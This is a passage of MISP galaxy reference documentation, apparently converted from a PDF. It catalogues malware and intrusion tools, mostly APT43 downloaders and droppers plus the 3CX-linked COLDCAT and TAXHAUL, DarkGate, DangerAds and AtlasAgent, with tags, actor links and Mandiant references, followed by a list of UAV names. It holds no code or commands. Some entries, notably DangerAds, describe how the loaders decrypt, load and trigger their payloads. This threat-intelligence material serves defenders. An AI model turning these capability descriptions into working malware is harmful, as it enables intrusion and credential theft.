</tbody>
</table>

**COLDCAT**

COLDCAT is a complex downloader. COLDCAT generates unique host identifier information, and beacons it to a C2 that is specified in a separate file via POST request with the data in the cookie header. After a brief handshake, the malware expects base64 encoded shellcode to execute in response.

The tag is: *misp-galaxy:tool="COLDCAT"*

**Table 12141. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**TAXHAUL**

TAXHAUL is a DLL that, when executed, decrypts a shellcode payload expected at C:\Windows\System32\config\TxR\<machine hardware profile GUID>.TXR.0.regtrans-ms. Mandiant has seen TAXHAUL persist via DLL side loading.

The tag is: *misp-galaxy:tool="TAXHAUL"*

**Table 12142. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**SUDDENICON**

downloader (?)

The tag is: *misp-galaxy:tool="SUDDENICON"*

**Table 12143. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
AMADEY

AMADEY is a downloader written in C that retrieves payloads via HTTP. Downloaded payloads are written to disk and executed. Availability: Public

The tag is: `misp-galaxy:tool="AMADEY"`

View relationships graph

AMADEY has relationships with:

- used-by: `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

Table 12144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

BENCHMARK

BENCHMARK is a dropper written in C/C++ that reads a filename and extracts a Base64 encoded payload from a hard-coded path, decodes the payload and drops it to disk. Availability: Non-public

The tag is: `misp-galaxy:tool="BENCHMARK"`

View relationships graph

BENCHMARK has relationships with:

- used-by: `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

Table 12145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

BITTERSWEET

BITTERSWEET is a C/C++ Windows downloader. It collects basic system information before downloading the next stage to disk and executing. Availability: Non-public

The tag is: `misp-galaxy:tool="BITTERSWEET"`

View relationships graph
BITTERSWEET has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12146. Table References

Links

https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

BRAVEPRINCE

BRAVEPRINCE is a C/C++ downloader. It uses the Daum email service to upload collected system information and download files. Availability: Public

The tag is: misp-galaxy:tool="BRAVEPRINCE"

View relationships graph

BRAVEPRINCE has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12147. Table References

Links

https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

COINTOSS

COINTOSS is a C/C++ downloader. It uses the Windows Management Instrumentation command-line (WMIC) utility to download the payload over FTP. COINTOSS then creates and runs a batch script to uninstall itself. Availability: Non-public

The tag is: misp-galaxy:tool="COINTOSS"

COINTOSS is also known as:

- COINTOSS.XLM

View relationships graph

COINTOSS has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12148. Table References

Links

7458
**DINOLAB**

DINOLAB is a C/C++ builder. It is used to encrypt and decrypt files, obfuscate VBScripts, and infect files. Availability: Non-public

The tag is: `misp-galaxy:tool="DINOLAB"`

View relationships graph

DINOLAB has relationships with:

- `used-by: misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

*Table 12149. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**DRIVEDOWN**

DRIVEDOWN is a C/C++ Windows downloader capable of executing embedded scripts and downloading stages from OneDrive. Availability: Non-public

The tag is: `misp-galaxy:tool="DRIVEDOWN"`

View relationships graph

DRIVEDOWN has relationships with:

- `used-by: misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

*Table 12150. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**GOLDDRAGON**

GOLDDRAGON is a downloader written in C that retrieves a payload from a remote server via HTTP. The downloaded payload is written to disk and executed. GOLDDRAGON also extracts a payload from a Hangul Word Processor document and writes it to a startup directory. As a result, the new file is executed when the current user logs in. Availability: Non-public

The tag is: `misp-galaxy:tool="GOLDDRAGON"`
GOLDDRAGON is also known as:

- GOLDDRAGON.POwersHELL

View relationships graph

GOLDDRAGON has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GoldDragon" with estimative-language:likelihood-probability="likely"

Table 12151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

EGGHATCH

EGGHATCH is a C/C++ Windows downloader. It uses mshta.exe to download and execute a script. Availability: Non-public

The tag is: misp-galaxy:tool="EGGHATCH"

View relationships graph

EGGHATCH has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12152. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

GOLDDROP

GOLDDROP is a C/C++ Windows dropper. It decrypts a resource file, saves it to the file system, and injects it into another process. Availability: Non-public

The tag is: misp-galaxy:tool="GOLDDROP"

View relationships graph

GOLDDROP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"
GOLDSMELT

GOLDSMELT is a C/C++ utility used to close the rundll32.exe process and delete a file likely used for logs. Availability: Non-public

The tag is: misp-galaxy:tool="GOLDSMELT"

View relationships graph

GOLDSMELT has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Invoke-Mimikatz

Invoke-Mimikatz is PowerShell script that reflectively loads a Mimikatz credential-stealing DLL into memory. Availability: Public

The tag is: misp-galaxy:tool="Invoke-Mimikatz"

View relationships graph

Invoke-Mimikatz has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"

JURASSICSHELL

JURASSICSHELL is a PHP file management web shell that allows the actor to download and upload files. Availability: Non-public
The tag is: *misp-galaxy:tool*="JURASSICSHELL"

View relationships graph

JURASSICSHELL has relationships with:

- **used-by:** misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12156. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**LANDMARK**

LANDMARK is a C/C++ Windows launcher that loads and executes a file on disk stored as desktop.r5u. Availability: Non-public

The tag is: *misp-galaxy:tool*="LANDMARK"

LANDMARK is also known as:

- **LANDMARK.NET**

View relationships graph

LANDMARK has relationships with:

- **used-by:** misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12157. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**LATEOP**

LATEOP is a datamine VisualBasic script that can enumerate a variety of characteristics of a target system as well as execute additional arbitrary VisualBasic content. Some deployments of LATEOP have led to the download and execution of the PASSMARK credential theft payload. In contrast, some deployments of LATEOP.v2 have originated from BENCHMARK sourced infections. Availability: Non-public

The tag is: *misp-galaxy:tool*="LATEOP"

LATEOP is also known as:

- **LATEOP.V2**
LATEOP has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

LONEJOGGER

LONEJOGGER is a downloader/dropper which has been observed targeting cryptocurrency services (including exchanges and investment companies), and uses a .lnk shortcut to download guardrailed HTML Application payloads. Availability: Non-public

The tag is: misp-galaxy:tool="LONEJOGGER"

PASSMARK

PASSMARK is a credential harvester that steals usernames and passwords from web browsers and email applications. PASSMARK is likely derived from the tool PassView. Availability: Public

The tag is: misp-galaxy:tool="PASSMARK"
PENCILDOWN

PENCILDOWN is a C/C++ Windows based downloader. PENCILDOWN collects basic system information and sends it to the C2 server before receiving the next stage. The next stage is then loaded in memory or executed directly based off a flag in the response. Availability: Non-public

The tag is: misp-galaxy:tool="PENCILDOWN"

PENCILDOWN is also known as:

• PENCILDOWN.ANDROID

PENCILDOWN has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12161. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
<td></td>
</tr>
</tbody>
</table>

PENDOWN

PENDOWN is a downloader written in C++ that retrieves a payload via HTTP. The downloaded file is saved to disk and executed. Availability: Non-public

The tag is: misp-galaxy:tool="PENDOWN"

PENDOWN has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12162. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
<td></td>
</tr>
</tbody>
</table>

PUMPKINBAR

PUMPKINBAR is a C/C++ dropper. PUMPKINBAR can contain multiple payloads encoded and embedded within itself. The key to decode each payload is appended at the end of the PUMPKINBAR executable. The payloads are dropped to disk and executed. Availability: Non-public

The tag is: misp-galaxy:tool="PUMPKINBAR"
PUMPKINBAR has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

SLIMCURL

SLIMCURL is a C/C++ downloader. It contains the next stage as a Base64 encoded Google Drive link. The next stage is downloaded using cURL. Availability: Non-public

The tag is: misp-galaxy:tool="SLIMCURL"

SLIMCURL has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

SPICYTUNA

SPICYTUNA is a VBA downloader. It collects basic system information and is capable of downloading and executing additional stages. Availability: Non-public

The tag is: misp-galaxy:tool="SPICYTUNA"

SPICYTUNA has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 12165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>
**SWEETDROP**

SWEETDROP is a C/C++ Windows dropper. It drops an embedded binary resource to the file system and executes it. Availability: Non-public

The tag is: `misp-galaxy:tool="SWEETDROP"`

View relationships graph

SWEETDROP has relationships with:

- **used-by:** `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

Table 12166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**VENOMBITE**

VENOMBITE is a C/C++ Windows downloader that has evolved from PENDOWN. It uses the same custom encoding routine, but the network functionality has been moved to an embedded executable. The downloaded file is loaded and executed in memory. Availability: Non-public

The tag is: `misp-galaxy:tool="VENOMBITE"`

View relationships graph

VENOMBITE has relationships with:

- **used-by:** `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

Table 12167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**DarkGate**

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

The tag is: `misp-galaxy:tool="DarkGate"`

DarkGate is also known as:
DangerAds

This is a loader Trojan used by AtlasCross in this activity. Its main function is to detect the host environment and execute a built-in shellcode in its own process, and then the shellcode loads and runs subsequent Trojan programs. DangerAds writes major malicious code to the .NET dll program's HelpText method, so it starts when an external program invokes Help from that dll program. It should be noted that the user name and local domain name of the host will be collected before the main malicious functions of DangerAds are executed, and subsequent codes will be executed only when one of these two names contains the keyword “danger” or “ads-wcf”. Therefore, it can be judged that this attack is a targeted attack against the domain or user name containing “ads-wcf”. The main body of DangerAds malicious code will determine the number of program version bits and selectively decrypt and execute an x86 or x64 shellcode. DangerAds uses multi-byte XOR for decryption, while shellcode is loaded directly in the process. In the shellcode stage, DangerAds uses a set of open-source scheme sRDI (https://github.com/monoxgas/sRDI/blob/master/shellcodeRDI/shellcodeRDI.c) to load and execute DLL programs. The shellcode finally loads the attached DLL program at its tail and calls the export function EnumWinEvent. The DLL program loaded by this shellcode is the AtlasAgent Trojan developed by AtlasCross.

The tag is: misp-galaxy:tool="DangerAds"

View relationships graph

DangerAds has relationships with:

**AtlasAgent**

AtlasAgent used in this attack activity is Trojan horse program developed by AtlasCross. The main functions of the Trojan are to obtain host information, process information, prevent opening of multi-programs, inject specified shellcode and download files from CnC servers. The Trojan communicates with the CnC through HTTP protocol, encrypts communication data using Base64 encoding after RC4 encryption, and encrypts key APIs using two encryption methods at the same time.

The tag is: `misp-galaxy:tool="AtlasAgent"`

View relationships graph

AtlasAgent has relationships with:

- executed-by: `misp-galaxy:tool="DangerAds"` with estimative-language:likelihood-probability="likely"

**Table 12170. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**RDP Wrapper**

The tag is: `misp-galaxy:tool="RDP Wrapper"`

View relationships graph

RDP Wrapper has relationships with:

- used-by: `misp-galaxy:threat-actor="Kimsuky"` with estimative-language:likelihood-probability="likely"

**Table 12171. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**TightVNC**

open-source VNC tool
The tag is: `misp-galaxy:tool="TightVNC"`

View relationships graph

TightVNC has relationships with:

- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`

Table 12172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RevClient**

Malware

The tag is: `misp-galaxy:tool="RevClient"`

View relationships graph

RevClient has relationships with:

- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`

Table 12173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**UAVs/UCAVs**

Unmanned Aerial Vehicles / Unmanned Combat Aerial Vehicles.

**Authors**

Enes AYATA

**R18**

R18

The tag is: `misp-galaxy:uavs="R18"`
KBLA-IVT

The tag is: `misp-galaxy:uavs="KBLA-IVT"`

Autel Evo II

The tag is: `misp-galaxy:uavs="Autel Evo II"`

DJI Mavic Series

The tag is: `misp-galaxy:uavs="DJI Mavic Series"`

Golden Eagle

The tag is: `misp-galaxy:uavs="Golden Eagle"`

Skydio X2

The tag is: `misp-galaxy:uavs="Skydio X2"`

RQ-4 Global Hawk

The tag is: `misp-galaxy:uavs="RQ-4 Global Hawk"`

Orion

The tag is: `misp-galaxy:uavs="Orion"`

Bayraktar TB2

The tag is: `misp-galaxy:uavs="Bayraktar TB2"`
UJ-22 Airborne
UJ-22 Airborne
The tag is: misp-galaxy:uavs="UJ-22 Airborne"

Forpost
Forpost
The tag is: misp-galaxy:uavs="Forpost"

Zala 421
Zala 421
The tag is: misp-galaxy:uavs="Zala 421"

PD-1 People’s Drone
PD-1 People’s Drone
The tag is: misp-galaxy:uavs="PD-1 People’s Drone"

Tupolev Tu-141 Strizh
Tupolev Tu-141 Strizh
The tag is: misp-galaxy:uavs="Tupolev Tu-141 Strizh"

WB FlyEye
WB FlyEye
The tag is: misp-galaxy:uavs="WB FlyEye"

Granat-4
Granat-4
The tag is: misp-galaxy:uavs="Granat-4"

Orlan-10
Orlan-10
The tag is: misp-galaxy:uavs="Orlan-10"
Orlan-30

The tag is: `misp-galaxy:uavs="Orlan-30"`

Quantum Systems Vector

The tag is: `misp-galaxy:uavs="Quantum Systems Vector"`

Spectator

The tag is: `misp-galaxy:uavs="Spectator"`

RQ-20 Puma

The tag is: `misp-galaxy:uavs="RQ-20 Puma"`

E95

The tag is: `misp-galaxy:uavs="E95"`

Tupolev Tu-143 Reis

The tag is: `misp-galaxy:uavs="Tupolev Tu-143 Reis"`

Zastava

The tag is: `misp-galaxy:uavs="Zastava"`

Punisher

The tag is: `misp-galaxy:uavs="Punisher"`
**Mini-Bayraktar**

Mini-Bayraktar

The tag is: `misp-galaxy:uavs="Mini-Bayraktar"`

**Takion**

Takion

The tag is: `misp-galaxy:uavs="Takion"`

**Leleka-100 “Stork”**

Leleka-100 “Stork”

The tag is: `misp-galaxy:uavs="Leleka-100 “Stork”"`

**Athlon Avia A1-CM Furia**

Athlon Avia A1-CM Furia

The tag is: `misp-galaxy:uavs="Athlon Avia A1-CM Furia"`

**Eleron-3**

Eleron-3

The tag is: `misp-galaxy:uavs="Eleron-3"`

**AeroVironment Quantix**

AeroVironment Quantix

The tag is: `misp-galaxy:uavs="AeroVironment Quantix"`

**Switchblade 300**

Switchblade 300

The tag is: `misp-galaxy:uavs="Switchblade 300"`

**Switchblade 600**

Switchblade 600

The tag is: `misp-galaxy:uavs="Switchblade 600"`
Phoenix Ghost

The tag is: misp-galaxy:uavs="Phoenix Ghost"

WB Group Warmate

The tag is: misp-galaxy:uavs="WB Group Warmate"

Zala KYB

The tag is: misp-galaxy:uavs="Zala KYB"